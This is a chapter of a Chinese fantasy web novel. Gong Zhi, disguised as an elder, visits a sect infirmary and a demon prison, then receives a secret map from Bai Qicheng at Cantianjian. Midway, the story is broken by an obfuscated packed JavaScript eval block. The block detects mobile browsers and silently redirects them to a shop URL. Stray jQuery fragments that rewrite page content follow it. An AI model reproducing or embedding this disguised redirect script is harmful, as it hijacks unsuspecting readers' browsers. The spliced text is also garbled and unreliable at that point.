“……”
宫执对于慕留歌乱加结尾一事表示了强烈不满——
因为《寒门剑神传》里从头到尾都没有出现过什么桃花少侠!
慕留歌肯定在诓他。
宫执忿忿不平转过身去,用枕头蒙着脑袋,不再理他了。
慕留歌无奈将烛火吹熄,四周陷入黑暗。
两人不一会儿便相继沉沉睡去,屋中响起平稳的呼吸声。
接连几日,宫执与慕留歌都是相安无事。一人在家安心养病,另一人则是天不亮就要外出办差,忙得脚不沾地,直到半夜才能回来。虽然两人睡在一起,但实际躺在一张床上的时间,屈指可数。
宫执对慕留歌作息颠三倒四,还能保持每日光彩照人地出现在众人面前,表示由衷敬佩。
白日里,宫执顶着白发苍苍老人家的脸,协助温良打理打理院子的花草,给后院种的瓜果菜蔬浇浇水,扫一扫庭中落花落叶,日子过得清闲自在,尽职尽责扮演一位退隐江湖的高人。
他也没忘了正事。
一日清晨,宫执趁同温良坐在院子里用早饭的时候问道:“小温啊。”
温良放下碗乖巧道:“前辈,您说。”
宫执一边剥鸡蛋皮一边道:“你留守在此,不觉得闷么?”
温良如实道:“不闷,每天好多事情要做。门主寝殿的打扫之外,还要去练武场增进修行,还要打坐冥想,还要去翻阅典籍……”
这作息一看就是勤恳用功的好孩子,不怪他这么年轻就能进入天枢。
宫执将剥好了的圆滚滚的白鸡蛋,放进温良面前的碗里,对方受宠若惊。
“多谢前辈!”
“不必谢,你正是长身子的时候,多吃点。”宫执侧面问道:“……那是挺忙的。我那日见你和旁的天枢子弟大清早便一同出去,傍晚才回来,可是有什么突发的任务?”
温良咬了一口鸡蛋道:“不是任务,是天枢内事务的轮值,刚入门的弟子资历浅,都要做的。”
宫执饶有兴致道:“那你们轮值都是做些什么呢?”
温良掰着手指道:“要去照顾天枢医馆中的病患,要去给不同部门间传递消息,末了还要去个监牢中关押的妖魔喂食……”
宫执一听来了兴致:“这么有意思啊!下次你带上我吧,我在这院子里闷得慌,正想出去走走。”
温良愣住,没搞明白有意思在哪里,但还是答应道:“喔……”
于是两日后,两人一老一少便结伴出现在了天枢各部之中。路上遇到的每个修士都投来好奇的目光,温良便介绍道:这位是慕门主的外公。众人俱是一副吃惊且久仰大名的模样,对他无比尊敬。宫执保持着和蔼的微笑,一路跟这人打招呼,跟那人点头示意,长辈做派十足。
先到了第一处,天枢医馆。
温良进去先是同医脉的同僚们问了声好,接着挨个病床的病人照顾了起来,一会儿帮着更换绷带,一会儿帮着端药,忙得不亦乐乎。
宫执在院中赏花,看到一株开得正好的粉红芍药,捡了一枝掉落在地的花束,上面还沾着清晨露水,走入医馆中。
屋中有数十张病床,并没有躺满,床位间以布帘相隔,互不打扰,上面养伤的多是一些在外办差时不幸受伤的修士。医脉修士忙着给病人看病,没人搭理这位贸然出现的老人。宫执默不作声,一路走到了医馆的最里面。
一处帘子,将角落的病床挡得严严实实,不透一点光。
宫执将帘子拨开。
床上坐着一个身着白衣的修士,身上搭理地很干净,眼神却是空洞木然地,一动不动坐着,即使看见来人,也是无动于衷地发着呆。
宫执出声道:“你还好么?要不要喝点水?”
修士一动也不动,像是没有听见,嘴唇却是泛干起皮的。
宫执将芍药花放在他床头,去给他倒了一碗水,放在他的手边。
修士手碰到碗沿,终于回过来了一点神,喃喃道:“多谢,我不渴。”
“……”宫执没有再劝,将水放在了他的床头柜子上。
温良注意到了这边,小跑过来,趴在宫执耳边小声道:“前辈,他是前段时间天枢遭袭时,藏宝阁值守活下来的唯一弟子,受到打击太大,已经……”他叹了口气,没再说下去。
“真是可怜。”宫执叹了口气,坐在床侧,手指牵住修士瘦削的手,静静地坐了一会儿。
医脉修士前来为那已然痴傻的子弟换药,期间几人一直沉默着,没有一人发话。温良提前知会过其他人宫执的身份,所以无人对他的存在表示质疑。或许是因为气氛太过尴尬,医脉修士看见床头的粉红芍药花,惊喜道:“呀,真漂亮的花!是从哪里来的?”
宫执道:“是我捡的,掉落在地上,看着怪可惜的。”
医脉修士当即表示要去拿个花瓶,将花养起来,摆在床头也好看。片刻后,他回来了,手中已然捧了一个素雅的白瓷花瓶,其上插着两朵盛放的芍药花,十分好看喜人。
医脉修士在痴傻弟子面前晃了晃花瓶:“你看,这是慕门主的外公给你带来的花,是一片心意,你要快点好起来喔——”
那弟子看见花,忽然变了一个人一样!他的眼神中流露出惊恐,尖叫着将那花瓶打翻在地。
“不要荼蘼花!他想咒我死吗?!把它拿走!拿走!!”
荼蘼代表末路,是寓意不详之花,没有用它送病人的。
花瓶掉落在地,碎裂开来,花瓣也被砸掉了几瓣。医脉修士懵了一瞬,随即道:“你看清楚点!这不是荼蘼,是芍药……”
荼蘼与芍药,虽然都有红色品种,但归根结底还是两种截然不同的花,外形也差别很大,正常人绝对不会认错。病人对于此番解释充耳不闻,一味地惊叫,似乎对那不详的红色花朵十分畏惧。医脉修士无奈,也懒得再多言,蹲下来将残局收拾干净。
宫执对修士抱歉笑笑,将帘子拉上,和温良一起离开了医馆。
温良道:“前辈受惊了,还是请莫要责怪他,他的同僚都死在那一晚了,藏宝阁前流了一地的血,想必是看见红花,联想到了当日的情境。”
“自然。我只是看他实在可怜,也不知什么时候能好。”宫执点点头表示理解。
两人走出几步远,宫执想到了什么,又问道:“这天枢门主,可有谁的灵脉是荼蘼?”
温良止步,面露难色,欲言又止的样子。
宫执好奇道:“有什么不能说的么?”
温良低声道:“天枢长的灵脉就是荼蘼花。”
宫执噤声,怪不得对方三缄其口的样子……这属实是太巧合了,他装作若无其事道:“我只是问问,没有别的意思。”
温良叹了口气道:“前辈有所不知。天枢长大人虽然修为深厚,不输叶归遥,可是当初在万仙盟覆灭那次战役中奋战妖魔,受伤过重,已致心肺受损,到现在也不见好。身子一年不如一年,每动用一次灵力,便会受到一次反噬……唉。”
已到了饭点,两人又一同去了下一处地点轮值,是关押妖魔的监牢。位于墨屿浮岛的底部,土层下有个天然形成的空腔,四面都是江水。鬼是生灵停留在现世的执念,一般会被超度,罪孽深重者则是会被打散。妖魔则是山精野怪所化,和人族一样都是实体,便要被关押在牢中等待受审。一旦罪行确凿,就要面临相应的刑罚。
监牢地面常年被水冲刷,湿漉漉的黑泥地,气味是一股带着潮气的腐臭。
宫执踏入的一刻,不自觉蹙起了眉,心底泛起不适。
他还嗅到了数种交杂的气味,抛开不同种族妖物的气味,还有夹杂交织的情绪——仇恨、痛苦、压抑……妖族能够通过气味辨别出环境氛围的好坏,这是生存野外带给它们的敏感。
温良给不同监牢前放上饭,是稀稀拉拉的稀粥,看着没什么胃口。
宫执默然不语,学着他的样子给囚犯们分饭。
黑不见天日,黑黢黢的牢笼,地狱也不过如此。黑影中传来微弱又嘶哑的呼吸声,令人毛骨悚然。
宫执一刻也不想停留,分完饭便跟温良一同从监牢中出来,到外面的地面透气——
这差一点就是他的终局。
不,他被污蔑的罪行,不必牢狱中任何妖物轻半分。倘若身份暴露,他会面临比其中妖物更惨烈的结局,或许死亡是一种更解脱的形式。
温良注意到了他的异常:“前辈,您还好么?”
宫执指尖拂去肩头衣物蹭上的黑泥,“无事,去下一处吧。”
忙忙碌碌一天结束,等到回寝殿,宫执累得倒头就睡。
接下来的几日,下了连续的暴雨,温良也不出去了,跟宫执在屋内整理洒扫,大眼瞪小眼。
后面三四天,暴雨渐歇,忽大忽小,庭院中的桃花被打落一地,残花碾入泥里。
宫执能感受到,慕留歌给他的那朵带着灵力的金色桃花,正在体脉中缓缓流转,温和调和着两种截然不同的灵气。一朵含苞待放的玉兰花苞在他的灵海中形成,估摸着不用多久,就能重新恢复使用灵力了,比寂遥大师说的日子提早了些,他心里颇为满意。
从监牢轮值那日起,慕留歌再也没有回来过。
宫执有些担忧,询问温良慕留歌的近况,对方只安抚他道:最近各地妖族蠢蠢欲动,整个天枢都忙得焦头烂额,门主自然也在其中,叫前辈莫要担心。
宫执虽然心生疑虑,但还是将关心的话咽了回去,心想慕留歌那么厉害,应该不会出什么事。
*
这几日,他已将大小事务熟悉,帮着温良分担门中事务。
宫执一人提着饭桶,前往监牢分饭。
今日监牢中新押送来一批妖魔,身上负伤累累,有些还没有完全服气,口中不住辱骂着仙门的祖宗十八代。
宫执充耳不闻,给铁牢前放上饭便离开。
转身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555336|204428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之时,他听见面前深黑的隔间传来低低一声呼唤:“宫执!是我!”
宫执回到隔间前。
铁牢中关押着的一头缺了半条胳膊的赤狐。
赤狐双目泛起异样的赤红,与牢狱中其他叫嚣挣扎的妖物不同,双手攀在牢狱铁杆上静静看着他,“是我,我是白岐承!”
宫执惊诧,往四下看了看,没有别的天枢弟子在附近。
他蹲下,压低声音道:“小白?你怎么会在这里?”
赤狐道:“姓慕的那个混蛋!那晚之后在寝殿附近施了数道法阵,只要我一踏入就会触发法术,行踪通传给其他天枢值守子弟……我只能控制这头赤狐,进来将话传给你。”
“……”
这倒还真像是慕留歌的手笔。
那晚两人不欢而散,宫执心中一直存在些许愧疚,觉得自己对白岐承话说得太重了,“白岐承,对不住,我不是故意惹你不痛快的……”
白岐承打断他:“是我对不住你。那晚我又蹲在屋顶听了一会,要不是姓慕的提起,我竟不知道你受了那么严重的伤,差点死掉……”
宫执安慰他道:“我已经好了,现在不是好端端在你面前么?”
白岐承懊悔道:“我不该害你生气,是我不对!我这次来,是有别的事情要跟你说——”他压低声音道:“我已经投靠了鬼涎宫梵,很快就要跟天枢摊牌,你很快就会知道。”
宫执不住惊异道:“你们想做什么?!”
白岐承道:“让妖族得到它应该得到的地位。宫执,你应该跟我们一起的,就在残天涧……”
宫执蹙起眉来,摇了摇头:“小白,我已无心参与这些争斗……”
“你看看周围这些妖物的下场,要么就是被关死在牢狱里一辈子,要么就是被当场残杀,身体部位买作修炼药材……仅仅是因为出身不同,就要遭受天枢的区别对待,甚至被泼脏水。我虽然是个人类,却深知其中的残酷,我相信这点你比我更清楚。宫执,难道你想躲躲藏藏一辈子吗?”
宫执呼吸一滞。
白岐承道:“你不必着急回答我,我给你时间考虑。只要你肯来,我们随时愿意等你。”
赤狐越过牢笼,往宫执手中塞了薄薄一张纸,是残天涧的地图,当中一个地点被朱笔画上了特殊标记,估计就是相约之地。
赤狐眼中的赤光消失,恢复了了无生气半死不活的样子,栽倒在牢狱泥地上沉睡,白岐承的控制已然接触。
宫执呆了片刻,缓缓回神,将地图塞到胸前衣物中藏好,默然起身,继续前往下一隔间放饭。
一日事毕,他心事重重返回慕留歌院中。
路上,他思绪纷乱,在想着自己下一步该怎么办。
按照白岐承的意思,鬼涎妖族很快会有下一步动作,针对天枢而来,摆明了要跟天枢对着干。妖族与仙门只见的矛盾日益尖锐,不可调节。
他们准备在图中地点做什么?
宫执对于打打杀杀没有兴趣,对于背后的权力斗争也懒得去想。他望向头顶乌云层层的天空,接连几日挥之不去的阴霾,满是山雨欲来风满楼的不安。
数件事情发生,江湖又要起风波,他身处泥潭的正中,只想保全自身的安宁,远离一切纷争。
他犹豫片刻,决定还是不告知旁人,等回房之后,将地图拿烛火烧掉——
全当不知道这件事,让好事者自己去争罢……
这样想着,宫执踏进了桃花院落。
寻常寂寞又娴静的院落,除了谢了又开的不败桃花,就只有一汪静静泛不起一丝波澜的池塘。温良有时会在院中温书,有时院中空无一人。
此时却一反常态,院中熙熙攘攘站了好多天枢统一制服的修士,叽叽喳喳地讨论着什么。
宫执穿过人群,发现了院落正中的温良。
温良穿戴整齐,佩戴着宝剑,一副整装待发的样子。他看见老人到来,热情道:“前辈,门主传令让我带着天枢人手前去支援,今夜应该不回来了,前辈多保重!”
宫执蹙眉问道:“支援?留歌遇到什么麻烦了么?”
温良笑了笑道:“不是什么大事,门主发现了一处藏妖窝点。他与陆师姐两人应付起来有点吃力,喊我多带点人手过去帮忙,往常也经常有这样的差事。前辈莫要担心。”
旁边一位弟子道:“温师兄,我们什么时候去残天涧找门主?”
温良道:“各位都准备好了,那么便即刻启程吧。”
残天涧,是一处极北的险要之地,终年被风雪所覆盖,位于天枢所在的天屹城以北。其中峡谷冰川众多,加之风雪遮掩,很容易迷路。
宫执敏锐地捕捉到了这个地点——
和白岐承告诉他的地点一样,慕留歌在残天涧等人支援,总不会是巧合。
他的心里咯噔一声,涌现出一种不好的预感。
宫执一把拉住温良:“我跟你们一起去。”